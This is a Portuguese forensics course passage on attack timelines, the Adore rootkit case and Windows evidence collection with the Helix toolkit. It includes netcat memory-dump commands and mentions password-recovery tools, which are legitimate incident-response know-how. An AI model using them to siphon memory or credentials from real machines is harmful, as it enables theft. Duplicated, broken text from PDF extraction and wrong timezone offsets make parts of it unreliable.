Ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 116
Correlao de informaes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117
Reconstruo do ataque. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 118
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121
Atividade 1 Determinando a linha do tempo. . . . . . . . . . . . . . . . . . . . . . . . . 122
Atividade 2 Identificando os eventos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122

116

Escola Superior de Redes RNP

Linha de tempo

Linha de tempo
p
Obj ti
Objetivo
Criar um histrico das aes e eventos encontrados no sistema
comprometido de forma a identificar quando
comprometido,
q ando e como ocorreu
ocorre a
invaso, dando uma viso clara do ataque e dos mtodos
utilizados pelo invasor para invadir e tomar o controle do
sistema.

Problemas

A linha de tempo til para que a instituio se proteja


de futuros ataques, pois permite estudar o modo de
operao dos invasores e ajudar a melhorar as defesas
da instituio.

Alm da correlao com fontes externas, o investigador


pode detectar inconsistncias em alguma evidncia
se correlacionar diversas informaes sobre a mesma
atravs de fontes diferentes. Por exemplo, se um log
tem informaes gravadas em determinada data e
horrio, mas o inode que armazena este log indica
que o contedo do arquivo foi modificado em um horrio anterior a esta informao
do log, provavelmente o log foi comprometido, pois existe inconsistncia entre as
informaes. No mnimo, o log no deve mais ser confivel.

As informaes coletadas em um sistema comprometido no


so confiveis, e por isso importante o analista correlacionar
as informaes obtidas na mquina com outras fontes, tais
como logs de roteadores e firewalls, servidores de e-mail e de
arquivos e informaes obtidas em entrevistas com potenciais
suspeitos.

Linha de tempo
p
Para criar
P
i uma linha
li h d
de ttempo, o analista
li t d
deve:
Descobrir quando a mquina foi instalada ou iniciada
Descobrir quando a mquina foi identificada como
invadida, e o horrio em qque comeou
a atividade de
anlise forense e de conteno do ataque
Obter informaes do momento em que a mquina foi
efetivamente desligada
Registrar informaes de tempo das evidncias
coletadas

Ferramentas
O analista deve utilizar as ferramentas para coletar informaes sobre as
evidncias encontradas:
#istat/data/compromised/compromised_hda1.img30578
inode:30578
Allocated
Group:2
uid/gid:0/0
mode:rwrr
i
228
size:228
numoflinks:1
InodeTimes:
Accessed:SunAug1016:26:182003
FileModified:WedAug612:09:172003
InodeModified:WedAug612:09:172003
DirectBlocks:
71142

Anlise forense Sesso de aprendizagem 7

Exemplo: para definir quando uma mquina foi


iniciada ou instalada, podemos utilizar evidncias
como a data de acesso ou a criao de arquivos
que somente so acessados ou criados durante o
boot ou instalao, como os arquivos do /boot ou o
arquivo /sbin/init, embora este ltimo possa ter sido
modificado por um rootkit.
A definio dos horrios em que a mquina foi invadida
pode vir de fontes externas, como entrevistas com
suspeitos ou responsveis pela mquina e tambm
pelo registro da tela do computador, como no caso
do nosso exemplo.

Ferramentas
O analista deve utilizar as ferramentas vistas anteriormente para coletar informaes de tempo das
evidncias encontradas:
# istat /data/compromised/compromised_hda1.img 305788
inode: 30578
Allocated
Group: 2
uid / gid: 0 / 0
mode: -rw-r--r-size: 228
num of links: 1
Inode Times:
Accessed: Sun Aug 10 16:26:18 2003
File Modified: Wed Aug 6 12:09:17 2003
Inode Modified: Wed Aug 6 12:09:17 2003
Direct Blocks:
71142

117

No exemplo acima examinamos o contedo do inode que armazena o arquivo /etc/


issue, criado quando a mquina iniciada. Ele acessado sempre que ocorre um
login no sistema localmente ou remotamente por telnet ou ssh.
Verificamos este acesso s 16:26:18, e a criao do arquivo no dia 6 de
agosto, s 12:09.

Ferramentas
Algumas ferramentas podem facilitar o trabalho de coleta de informaes:
# fls -alrp -m / -z PDT
/data/compromised/compromised_hda1.img | mactime -g
/mnt/image/etc/group -p /mnt/image/etc/passwd >
/data/compromised/compromised_hda1.img
Sun Sep 25 1983 18:45:00
48856 m.. -/-rwxr-xr-x root
root
92017
/usr/bin/top
8268 m.. -/-rwx------ root
root
92010
/usr/bin/sl2
4060 m.. -/-rwxr-xr-x root
root
92009
/usr/bin/sense
Sun Aug 10 2003 14:33:19
36692 .a. -/-rwxr-xr-x root
root
92022
/bin/ls
8268 .a. -/-rwx------ root
root
92010
/usr/bin/sl2
2 .a. -/-rw-r--r-- root
root
92023
/usr/lib/libsss

# fls -alrp -m / -z PDT /data/compromised/compromise


d_hda1.img | mactime -g /mnt/image/etc/group
-p /mnt/image/etc/passwd > /data/compromised/
compromised_hda1.img8
Sun Sep 25 1983 18:45:00 48856 m.. -/-rwxr-xr-x roo
t root 92017 /usr/bin/top
8268 m.. -/-rwx------ root root 92010 /usr/bin/sl2
4060 m.. -/-rwxr-xr-x root root 92009 /usr/bin/sense
Sun Aug 10 2003 14:33:19 36692 .a. -/-rwxr-xr-x roo
t root 92022 /bin/ls
8268 .a. -/-rwx------ root root 92010 /usr/bin/sl2
2 .a. -/-rw-r--r-- root root 92023 /usr/lib/libsss

O comando acima cria o arquivo de linha de tempo


de toda atividade de disco da imagem analisada.
Podemos ver abaixo alguns exemplos de atividade.
No dia 25 de setembro de 1983, s 18:45:00, ocorreu uma atividade de modificao de contedo (vide m.. na listagem) em trs arquivos. Sendo ela anterior
instalao do sistema, podemos imaginar que estes arquivos estavam dentro de
um arquivo TAR e foram descompactados no sistema.
Podemos ver adiante uma atividade de acesso a outros arquivos (.a. na listagem)
indicando que os mesmos foram lidos ou executados. O outro campo na coluna
de atividade indica mudana no inode do arquivo (..c) e pode indicar quando o
arquivo foi criado ou apagado, mas tambm quando as informaes sobre o
arquivo foram alteradas: troca de dono do arquivo, troca de atributos etc.

Correlao de informaes

Correlao
de informaes

Informaes coletadas na mquina precisam ser


correlacionadas com fontes externas:
Logs de firewall
Logs de roteadores
Logs de servidores de e-mail
e mail
Entrevistas com suspeitos
Descries e documentao na internet
As informaes de datas devem estar sempre com o mesmo
timezone para evitar inconsistncias.
inconsistncias
importante que as mquinas estejam com os horrios
sempre corretos, de preferncia atualizados pelo servio NTP.

importante lembrar das configuraes de timezone


da mquina invadida e da estao forense do investigador, e sempre correlacionar logs externos levando
em conta as diferenas de timezone.

Por exemplo, o timezone da mquina est configurado


para PDT (Pacific Daylight Time, ou GMT-8) e o da
estao forense para MST (Mountain Standard Time,
padro do Helix, ou GMT-8). O timezone oficial no
Brasil GMT-3 ou GMT-2 durante o horrio de vero,
e isto deve ser levado em considerao quando o
investigador for analisar evidncias em uma mquina com timezone diferente
daquele da mquina investigada.

Linha de tempo e reconstruo do ataque

118

Escola Superior de Redes RNP

Sun Aug 10 2003 16:30:30 0 mac -/---------- root ro


ot 35804 /dev/hdx1
0 mac -/---------- root root 3
5833 /dev/hdx2

Correlao
de informaes

As evidncias
A
id i encontradas
t d d
devem ser correlacionadas
l i d
com as informaes de tempo fornecidas pelas
f
ferramentas
t fforenses:
SunAug10200316:30:300mac/ rootroot35804/dev/hdx1
0mac/ rootroot35833/dev/hdx2

SunAug10200316:30:525636ma./rwrr rootroot47169
/usr/lib/adore.o

Sun Aug 10 2003 16:30:52 5636 ma. -/-rw-r--r-- root


root 47169 /usr/lib/adore.o

No exemplo temos a criao dos arquivos /dev/hdx1


e /dev/hdx2, que normalmente indicam uma infeco
pelo vrus RST.b. Vimos em sesses anteriores que
o antivrus detectou a presena deste vrus em diversos arquivos na mquina, o que pode indicar que tais
ferramentas foram executadas.

No exemplo seguinte temos indicaes de acesso e


modificao de contedo do arquivo adore.o, o executvel do rootkit Adore, indicando que o mesmo foi instalado na mquina com sucesso.

Reconstruo
do ataque
q
Aps
A
encontrar
t e correlacionar
l i
iinformaes
f
dde ttempo
das evidncias coletadas, o analista deve tentar
reconstruir
t i as aes
executadas
t d pelos
l invasores,
i
desde o momento da invaso at o momento em que a
mquina
i ffoii llevada
d para anlise
li
A reconstruo do ataque deve tentar descobrir o
modo como o invasor obteve acesso ao sistema,
identificando possveis vulnerabilidades e ferramentas
utilizadas no ataque e no controle do sistema
Uma boa prtica criar uma tabela descrevendo os
eventos de acordo com a linha de tempo

Reconstruo
do ataque
q
Data

Ao / Evidncia

06/Ago/2003 11:16:40

Last login: Wed Aug 6 11:16:40 on tty2

06/Ago/2003 12:09:17

Reinicializao do servidor (/etc/issue).

10/Ago/2003 13:24:29

Possvel comprometimento do servio HTTPS.

10/Ago/2003 13:33:57

Parada dos servios syslogd e klogd.

10/Ago/2003 14:33:19

Possvel instalao das ferramentas descritas na


URL www.ntfs.com/ntfs-mft.htm

10/Ago/2003 15:52:10

Parada do servio HTTPD.

10/Ago/2003 16:30:30

Infeco pelo vrus RST.b.

10/Ago/2003 16:30:52

Instalao do rootkit Adore.

10/Ago/2003 20:30:39

Comeo da investigao (comando date no console)

Anlise forense Sesso de aprendizagem 7

Reconstruo do ataque
Logicamente, todas as informaes de conexo
remota devem ser correlacionadas a logs externos
ao servidor comprometido, para garantir a validade
dos mesmos. Outra forma de verificar informaes
e identificar evidncias utilizando mecanismos de
procura, como o Google.
Alm disso, todas as informaes de tempo devem ser
relativas ao mesmo timezone. Todas as ferramentas do
pacote forense analisado tm opes para mostrar as
informaes de datas em timezones diferentes.
Um bom relatrio de anlise forense deve ser composto
por uma reconstruo o mais detalhada possvel de tudo
que aconteceu na mquina, bem como uma anlise dos
mtodos e tcnicas utilizadas pelo invasor, inclusive com
possveis solues e tcnicas para proteo e deteco
deste tipo de ao no futuro.

119

Reconstruo
do ataque
q
Finalmente,
Fi
l
t o analista
li t ddeve id
identificar
tifi possveis
i
solues para os problemas e vulnerabilidades
id tifi d
identificados
Se possvel, devem ser sugeridas formas de se
proteger ou identificar atividades como as ocorridas
no sistema analisado
Esta parte da anlise forense permite ao responsvel
pela mquina
p
q
invadida entender o que
q aconteceu, p
para
que possa se proteger de futuros ataques

Concluses

Concluses
Aprendemos
A
d
a organizar
i as evidncias
id i encontradas
t d
numa linha de tempo, identificando os momentos
chaves
h
d
da iinvaso
e o comprometimento
ti
t ddo servidor.
id
A linha de tempo uma ferramenta indispensvel para
analisar o sistema.
O objetivo
final da anlise forense e do relatrio de
j
reconstruo do ataque criar um documento que
possa ser utilizado p
p
pela empresa
p
como conhecimento
formalizado a partir dos erros e preveno contra
futuros ataques.

Vimos como organizar as evidncias encontradas numa


linha de tempo, identificando os momentos chaves
da invaso e o comprometimento do servidor.
A linha de tempo uma ferramenta indispensvel
para analisar o sistema e responder s perguntas
Quando? e Como? relativas invaso. Estudamos
ainda os pontos importantes que devem ser destacados
em um relatrio de reconstruo do ataque.
Na prxima sesso conheceremos as principais ferramentas e tcnicas existentes para realizar a anlise
forense em ambiente Windows.

Muitas das tcnicas e teorias vistas nas sesses sobre anlise forense em Linux
podem e devem ser utilizadas em ambientes Windows, embora existam algumas
diferenas importantes que devem ser levadas em considerao.

Linha de tempo e reconstruo do ataque

Escola Superior de Redes RNP

Anlise forense Sesso de aprendizagem 7

120

7
Sesso de aprendizagem 7
Linha de tempo e reconstruo do ataque
Roteiro de atividades
Tpicos e conceitos
\\Identificar

quando e como ocorreu a invaso, dando uma viso clara do


ataque e dos mtodos utilizados pelo invasor.

Competncias tcnicas desenvolvidas


\\O

aluno aprender a identificar a linha do tempo do ataque e identificar os


eventos ocorridos no sistema comprometido.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90-120

minutos

Escola Superior de Redes RNP

122

Atividade 1 Determinando a linha do tempo


Muitas ferramentas foram instaladas no sistema durante a ao dos


invasores. Vimos na sesso 5 que existia um arquivo TAR que no havia
sido apagado, mas movido de diretrio. O arquivo chama-se /data/
compromised/s.tgz. Com um colega, tente identificar na linha de tempo
informaes que confirmem se os arquivo e ferramentas foram utilizados
efetivamente pelos invasores. Lembre-se de que quando um arquivo
executado, o seu tempo de acesso modificado. Quando ele criado, o
comando fls mostra mudanas nos tempos de acesso e modificao de
status do arquivo ao mesmo tempo. Faa um relatrio com suas concluses.

Atividade 2 Identificando os eventos


No material do aluno existe uma tabela Excel chamada timeline.xls, com


todos os eventos encontrados na sesso 4 e sesses anteriores a ela,
cadastrados de acordo com sua data de ocorrncia. Complete esta tabela
com as informaes coletadas por voc e seu colega nos exerccios das
trs sesses anteriores e nos resultados do exerccio anterior. Aps montar
a tabela, apresente o resultado aos colegas de turma. Lembre-se de fornecer
evidncias que comprovem as atividades identificadas e catalogadas.

Anlise forense Sesso de aprendizagem 7

8
Sesso de aprendizagem 8
Anlise forense em Windows
Sumrio da sesso
Anlise forense em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
Sistema de arquivos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125
Kit de ferramentas forense . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 126
Primeiras aes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
Atividade 1 Coleta de evidncias em Windows. . . . . . . . . . . . . . . . . . . . . . . 134
Atividade 2 Classificando as ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . 134
Atividade 3 Busca de outras ferramentas para Windows. . . . . . . . . . . . . . . . 134

124

Escola Superior de Redes RNP

Anlise forense em Windows


O processo d
de anlise
li fforense em um sistema
i t
Windows no difere do ambiente Unix
Principal diferena: informaes volteis
Windows tem g
grande presena
p
em desktop
p de
empresas e usurios caseiros
(on-line)
Resultado: anlise em um sistema vivo (on
line)

Anlise forense em Windows


Principais
P
i i i razes
no comprometimento
ti
t d
de um sistema
i t
Windows:
Sistema infectado por vrus ou cdigo malicioso
Caso envolvendo direitos autorais
Pornografia
Fraude
Presena de trojan ou backdoor
Utilizao do sistema de forma maliciosa

Anlise forense em Windows


Devido ao fato de sistemas Windows terem grande
presena em ambientes de desktop de empresas
e usurios caseiros, o tipo de incidente que geralmente envolve uma mquina com este sistema um
pouco diferente do que normalmente acontece com
sistemas Linux utilizados em servidores.
Toda a metodologia utilizada nas sesses anteriores
ainda vlida neste caso. A principal diferena que
em sistemas Windows as informaes mais desejadas
so volteis e somente podem ser obtidas no sistema vivo (live system ou on-line), o que exige a realizao de procedimentos de coleta de dados ao vivo.
Existe uma diferena grande entre os diversos tipos
de incidentes que ocorrem em uma mquina comprometida. Por exemplo, em um caso de mquina
infectada por vrus, o procedimento que geralmente
se toma a formatao da mquina sem maiores
investigaes.
No caso de utilizao maliciosa do sistema ou de
fraude, muitas vezes as autoridades sero envolvidas
e, nestes casos, no necessrio coletar muitas
evidncias em sistemas vivos, mas sim manter a
mquina do suspeito sob custdia para que seja
investigada pela autoridade policial competente.

Em casos de pornografia infantil, o investigador tem que tomar muito cuidado


com a coleta de evidncias, pois a lei no permite a transmisso ou cpia do
material pornogrfico, o que pode causar problemas jurdicos para o investigador
e para a empresa. recomendvel entrar em contato com as autoridades policiais
o mais rpido possvel e discutir com eles a melhor ao a ser tomada. No
possvel simplesmente desligar a mquina, pois ela pode estar sendo monitorada
como parte de uma investigao mais ampla.

Anlise forense Sesso de aprendizagem 8

125

Sistema de arquivos

Sistema de arquivos
q
Si t
Sistema
d
de arquivos
i
NTFS
Padro no Windows XP e Vista
Windows Vista implementa o TxF em cima do NTFS
Verso atual: 3.1
Veremos ferramentas para NTFS,
NTFS mas a maioria funciona em FAT e
FAT32
Uma partio NTFS composta de diversas estruturas, sendo que a
principal a Master File Table (MFT)

O Windows Vista tambm utiliza o sistema NTFS


como padro, mas implementa no sistema de arquivos uma outra estrutura chamada Transactional File
System (TxF). Este sistema de arquivos implementa
uma estrutura de banco de dados em cima do
NTFS, permitindo diversas funcionalidades oferecidas pelo Windows Vista.
Os sistemas de arquivos compatveis com o

Sistema de arquivos
q Windows so os seguintes: FAT (File Alocation Table),

FAT32, NTFS e TxF. Do ponto de vista do usurio,


a grande diferena est no aumento da capacidade das parties que cada
sistema pode
sistema
permite no mximo parties de 32 gigaSi ttrabalhar.
Sistema
d
deOarquivos
i FATNTFS
bytes, enquanto as verses mais recentes do NTFS e do TxF permitem parties
Padro no Windows XP e Vista
superiores a 2 terabytes.

Windows Vista implementa o TxF em cima do NTFS

Versopresente
atual: 3.1em um volume NTFS o Partition Boot Sector e
A primeira informao
Veremos
ferramentas
NTFS mas
NTFS,
maioriaOfunciona
FAT e
o primeiro arquivo do volume
NTFS para
o Master
FileaTable.
sistemaem
operacional
FAT32
reserva sempre 12% do tamanho do disco para armazenar o MFT, espao sempre
partio
contnuo a partir Uma
do incio
do NTFS
disco. composta de diversas estruturas, sendo que a
principal a Master File Table (MFT)

Sistema de arquivos
q
O MFT composto de 16 registros,
registros sendo que somente 12 so
utilizados atualmente:
$MFT Master File Table
$MftMirr Cpia de Master File Table
$LogFile Arquivo de registro de eventos do NTFS
$Volume Informaes sobre o volume
$AttrDef Definies de atributos
$ Diretrio
Di t i raiz
i do
d sistema
i t
$.
$Bitmap Mapa de utilizao de clusters
$Boot Setor de boot da partio
$BadClus Lista de bad cluster
$Secure Informaes sobre segurana
$Upcase Tabela de converso de caracteres
$Extend Arquivo de extenses do NTFS

Anlise forense em Windows

Estas estruturas so importantes quando se tenta


recuperar informaes sobre o sistema de arquivos com as ferramentas de anlise forense que
vimos anteriormente.
A rea que sobra da MFT aps armazenar os registros acima serve para armazenar as informaes
de arquivos e diretrios do sistema.

126

Escola Superior de Redes RNP

Sistema de arquivos
q
Os arquivos so armazenados como uma srie de atributos,
atributos
equivalentes aos inodes no Linux:
Standard Information Inclui informaes como timestamps e nmero de links
Attribute List Lista a localizao de todos os atributos do arquivo
File Name Armazena o nome do arquivo
S
Security
it D
Descriptor
i t Informaes
I f
sobre
b o dono
d
do
d arquivo
i e permisses
i dde acesso
Data Armazena os dados do arquivo
Object ID Identificador nico de arquivo
Logged Tool Stream Registro de mudanas do metadado
Reparse Point Ponto de juno para diretrios e volumes
Index Root Usado para implementar ndice de arquivos e diretrios
Index Allocation Usado para implementar ndice de arquivos e diretrios
Index Bitmap Usado para implementar ndice em diretrios muito longos
Volume Information Contm a verso do volume
Volume Name Contm o nome do volume

Os registros sobre arquivos so armazenados na


forma de atributos, equivalentes aos inodes no Linux.
Entretanto, o NTFS armazena muito mais informaes
sobre os arquivos.
Os atributos de nome de arquivos podem ser repetidos
arbitrariamente e permitem armazenar o nome MS-DOS
do arquivo (8.3 caracteres), nomes longos (255 caracteres), alm de nomes de links para o arquivo.

O atributo de dados utilizado para armazenar o


contedo dos arquivos. Uma diferena importante no
NTFS a possibilidade de existir mais de um atributo
de dados para um mesmo arquivo. Isto , um mesmo arquivo pode armazenar
mltiplos contedos totalmente distintos, processo conhecido como Alternate Data
Streams. Conheceremos este tipo de estrutura nas prximas sesses.

Kit de ferramentas forense

Kit de ferramentas forense


Capaz de reproduzir resultados
No altera os dados analisados
M i de
Mnimo
d iinterferncia
t f i possvel
l
Possui validade jurdica
Graphical
User Interface (GUI)
p
( )
X
Console User Interface (CUI)

O kit possui ferramentas capazes de reproduzir o


mesmo resultado quando executadas em condies
similares, ou seja, duas ferramentas precisam gerar
o mesmo resultado sob as mesmas condies para
provar que no interferem nos dados.
A ferramenta no deve realizar nenhuma alterao
quando examina alguma evidncia. Este fato pode
ser comprovado pela comparao de hashes criptogrficos (MD5, SHA1).

Outra caracterstica delas deve ser interferir o mnimo possvel no ambiente onde
coletam dados, ou seja, quanto menor o grau de interao da ferramenta com
o ambiente, menor a ocorrncia de contaminao de evidncias. Devem possuir
validade jurdica e/ou ser aceitas como instrumentos de coleta de evidncias.
Para o processo de interao com sistema vivo recomendada a utilizao de
ferramentas de comando de linha, pois elas causam uma interferncia menor no
ambiente analisado. J para anlises em imagens e evidncias, pode-se utilizar
ferramentas com interface grfica, uma vez que esta etapa realizada na estao
de anlise forense.

Anlise forense Sesso de aprendizagem 8

127

\\Custo

Algumas opes comerciais podem ser caras


demais para serem utilizadas esporadicamente.

Kit de ferramentas forense


Outros
O
t pontos
t a considerar:
id
Custo
Licenciamento
Cdigo fonte
Cdigo-fonte
Portabilidade

\\Licenciamento

Algumas ferramentas no podem


ser distribudas em CDs. Seu uso, mesmo que
gratuito, necessita que a ferramenta seja obtida
diretamente do autor.

\\Cdigo-fonte

Muitas das opes gratuitas possuem


cdigo aberto, o que permite que sejam auditadas
para garantir que os resultados no sejam alterados
e no possuam aes no declaradas.

\\Portabilidade

Algumas ferramentas podem ser


utilizadas em diversos sistemas operacionais,
o que pode facilitar sua escolha em razo da
familiaridade de uso.

O Live CD do Helix pode ser usado em ambientes


Windows, pois contm um pacote de ferramentas
teis para coleta de evidncias em sistemas vivos:

Kit de ferramentas forense


Ferramentas disponveis no Live CD do Helix:
2K
2K3
AgileRM
Bin
Cygwin
DiamondCS
FAU
Foundstone
FSP
Hoverdesk

Imager
g
IRCR
Microsoft
Net Latency
Nir Soft
NT
NT Security
PCtime
Perl
Putty

Sysinternals
y
System Tools
UnxUtils
Vista
WFT
WinDBG
Winfingerprint
XP
cmdenv1 bat
cmdenv1.bat
NC_Server.bat

\\2K

Executveis bsicos do sistema para Windows


2000 (cmd.exe, netstat.exe, ifconfig.exe etc).
Contm tambm o Windows 2000 Resource Kit;

\\2K3

Executveis bsicos do sistema para Windows


2003 (cmd.exe, netstat.exe, ifconfig.exe etc);

\\AgileRM

(Nigilant32) Ferramenta de auxlio ao


investigador que permite realizar cpia do disco
e de memria de sistemas Windows, alm de
coletar informaes sobre registro e processos
em execuo, entre outras funes;

\\Bin

Contm ferramentas variadas para coleta de evidncias. Entre elas,


podemos citar foremost.exe, nc.exe, sha1deep.exe, alm de ferramentas para
coletar o registro do Windows e nomes de usurios e senhas do sistema;

\\Cygwin

Ferramentas Unix portadas para Windows: strings, cat, file, wget,


less e ls, entre outras;

\\DiamondCS

(DiamondCS tools) Ferramentas para coletar nomes de


processos, portas abertas e conexes ativas na mquina;

\\FAU

(Forensic Acquisition Utilities) Ferramentas para coleta de evidncias;


inclui dd, nc, volume_dump, md5sum e wipe;

\\Foundstone

Ferramentas para coleta de evidncias: anlise de cookies,


histricos do Internet Explorer, portas abertas, entre outros;

\\FSP

Ferramenta cliente/servidor para coleta de dados volteis remotamente;

\\ Hoverdesk

Anlise forense em Windows

Ferramenta para capturar snapshot da tela;

128

Escola Superior de Redes RNP


\\Imager

(FTK Imager) Ferramenta para coleta de evidncias e imagem de disco;

\\IRCR

Coleo de scripts BAT para automatizar a execuo de diversas


ferramentas do Live CD do Helix;

\\Microsoft

Algumas ferramentas do Windows para verses antigas (Windows

98 e ME);
\\Net

Latency Duas ferramentas para mostrar espao livre em disco e


servios rodando na mquina;

\\Nir

Soft Diversas ferramentas para recuperao de senhas do Windows e


aplicativos;

\\NT

Executveis bsicos do sistema para Windows NT;

\\NT

Security Ferramentas para coleta de informaes de segurana do disco


e do Windows;

\\PCtime

Ferramenta para sincronizao de tempo com NTP;

\\Perl

Ferramentas para identificao de modem, Alternate Data Streams,


coleta de mac times e de interfaces de rede;

\\Putty

Cliente SSH de uso livre;

\\Sysinternals

Ferramentas para coleta de informaes sobre processos,


conexes e servios, entre outras informaes;

\\System

Tools Ferramentas para coletar informaes sobre usurios, eventos


do log do Windows, usurios e polticas de segurana instaladas na mquina;

\\UnxUtils

Algumas ferramentas de Unix portadas para Windows;

\\Vista

Executveis bsicos do sistema para Windows Vista (cmd.exe, netstat.


exe, ifconfig.exe etc);

\\WFT

(Windows Forensic Toolchest) Instrumento para automatizar a execuo


de diversas ferramentas e sumarizar os resultados;

\\WinDBG

Depurador de cdigo para Windows;

\\Winfingerprint

Ferramenta para coletar informaes sobre processos e DLLs


associadas a eles;

\\XP

Executveis bsicos do sistema para Windows XP (cmd.exe, netstat.exe,


ifconfig.exe, etc);

\\cmdenv1.bat

Arquivo BAT para modificar variveis de ambiente visando a


utilizao exclusiva das ferramentas do CD do Helix, evitando assim que se
use as ferramentas possivelmente comprometidas do sistema;

\\NC_Server.bat

Anlise forense Sesso de aprendizagem 8

Arquivo BAT para iniciar um servidor Netcat na mquina.

129

Kit de ferramentas forense


Outras fontes de ferramentas:
www.sysinternals.com
www.foundstone.com
f d t
users.erols.com/gmgarner/forensics
Wi d
Windows
R
Resource Kit www.microsoft.com
i
ft
Windows XP Service Pack 2 Support Tools
www microsoft com
www.microsoft.com
GNU utilities for Win32 unxutils.sourceforge.net
Win32 Forensics Tools www.first.org
first org
http://www.forensicswiki.org/index.php?title=Helix
htt //
f i
t d /f
i /f
i t l ht l
http://www.forinsect.de/forensics/forensics-tools.html
http://www.opensourceforensics.org/tools/windows.html

As ferramentas que compem o kit de anlise


forense devem ser gravadas impreterivelmente em
mdia que no permita contaminao, como o caso
do Live CD do Helix. Mesmo com esse procedimento
necessrio possuir os hashes criptogrficos
(md5sum ou sha1sum) de todos os arquivos para
garantir que a ferramenta em uso no foi modificada.
A relao dos hashes deve ser armazenada na
mesma mdia das ferramentas.
No diretrio \IR e tambm no Live CD do Helix (diretrio \IR) o aluno pode encontrar as assinaturas MD5
das ferramentas disponveis.

Primeiras aes

Primeiras aes

Primeiras aes:
Preservar evidncias
C l t evidncias
Coletar
id i mais
i volteis
lt i
Verificao externa do sistema:
N
Nmeros
de
d srie
i
Dispositivos conectados
E t d gerall ddo sistema
i t
Estado
Conectividade
Energia
Tela do sistema (console):
Fotografia
Print-screen (compromete a memria)

As primeiras aes do investigador ao ter acesso a


um sistema vulnervel podem comprometer evidncias se no forem tomados cuidados com a ordem
de coleta das evidncias.
Preferencialmente, o investigador deve comear a
coleta de evidncias por aquelas mais volteis e
que no podero ser reproduzidas posteriormente.
Entre essas evidncias esto as informaes sobre
o ambiente onde a mquina est localizada, sobre a
tela do computador e sobre a memria RAM.

O primeiro passo ao interagir com um sistema fazer a correta identificao do


mesmo, verificando nmero de srie, de patrimnio ou qualquer outra numerao
que permita ter certeza de que se trata do sistema investigado. Isto permite tambm identificar corretamente o sistema caso seja necessrio.
A interao com o sistema deve ser presenciada preferencialmente por um representante legal, para garantir a validade do processo, e todos os passos devem
ser cuidadosamente registrados para posterior verificao.
Deve-se evitar capturar a tela do computador com um print screen, pois com isso
perdem-se as informaes que estavam na rea de transferncia (clipboard) e
podem ser comprometidas as evidncias em memria.
O kit de ferramentas pode estar disponvel em um CD ou drive USB, sendo que a
utilizao de um CD mais recomendvel, pois interfere menos no sistema. Como
unidade de armazenamento dos dados coletados podemos utilizar um drive USB,
ou enviar os dados remotamente para a estao forense do investigador.

Anlise forense em Windows

130

Escola Superior de Redes RNP

Eventualmente essa configurao pode no estar disponvel no sistema a ser analisado, razo pela qual devemos possuir mdias alternativas, como disco Firewire
ou at mesmo uma cpia do kit em disquetes.

cmd.exe

Podemos ver acima o comando utilizado para executar o prompt de comandos, a


partir do item Executar do menu do Windows.
Aps executar o prompt, existe um arquivo BAT chamado cmdenv.bat dentro do
diretrio \IR\xp, que modifica a varivel PATH do sistema para apontar somente para
os diretrios de ferramentas no CD. Dessa forma, garantimos que no executaremos
nenhuma ferramenta comprometida no sistema.
O investigador deve sempre se lembrar desse passo que garante a validade das
evidncias coletadas.
Imagem da memria na estao forense:
D:\IR\xp> nc -l -p 999 > d:\tmp\physmem.img8

Imagem da memria na mquina comprometida:

Primeiras aes

I
Imagem
d
da memria
i
Na estao forense:
D:\IR\xp>nc l p999>d:\tmp\physmem img
D:\IR\xp>nclp999>d:\tmp\physmem.img

Na mquina comprometida:
D:\IR\xp>ddif=\\.\Physicalmemoryconv=noerror|nc127.0.0.1999
CommandLine:ddif=\\.\Physicalmemoryconv=noerror
27/01/200823:12:59(UTC)
27/01/200821:12:59(localtime)
CurrentUser:COMPUTADOR\usuario
Totalphysicalmemoryreported:1047024KB
Copyingphysicalmemory...
y
y
g
Physicalmemoryintherange0x001000000x001ff000couldnotberead.
Stoppedreadingphysicalmemory:
27/01/200823:14:07(UTC)
27/01/200821:14:07(localtime)
261871+0recordsin
261871+0recordsout

Anlise forense Sesso de aprendizagem 8

D:\IR\xp> dd if=\\.\Physicalmemory conv=noerror | n


c 127.0.0.1 9998
Command Line: dd if=\\.\Physicalmemory conv=noerror
27/01/2008 23:12:59 (UTC)
27/01/2008 21:12:59 (local time)
Current User: COMPUTADOR\usuario
Total physical memory reported: 1047024 KB
Copying physical memory...
Physical memory in the range 0x00100000-0x001ff000 c
ould not be read.
Stopped reading physical memory:
27/01/2008 23:14:07 (UTC)
27/01/2008 21:14:07 (local time)
261871+0 records in
261871+0 records out

131

Para realizar a imagem da memria no recomendvel utilizar as ferramentas


grficas do CD de ferramentas, pois como elas sero carregadas na memria,
provavelmente vo sobrescrever evidncias que poderiam ser teis.
Portanto, vamos utilizar a ferramenta dd.exe disponvel no pacote de ferramentas,
pois esta uma verso com suporte coleta de memria RAM, alm de outras
funcionalidades.
Para utilizar o dd, precisamos especificar um dispositivo especial chamado \\.\
PhysicalMemory que d acesso memria fsica do sistema. Para garantir a preservao de evidncias, esta verso da ferramenta dd no permite gravao de
arquivos em dispositivos locais, de modo que precisamos redirecionar a sada do
comando para o comando netcat, como vimos em sesses anteriores.

Primeiras aes

Hora d
H
do sistema
i t
Necessrio conhecer horrio correto e timezone da
mquina
Garante a correlao
de evidncias com registros
g
externos
D:\IR\xp>date/t
dom27/01/2008
D:\IR\xp>time/t
21:41

Para garantir a coerncia das evidncias e identificar


modificaes causadas no sistema pelo investigador
e diferenci-las das modificaes provocadas pelo
invasor, importante identificar corretamente o horrio
e o timezone do sistema.
Desta forma, se houver alguma diferena entre
o horrio da mquina comprometida e a estao
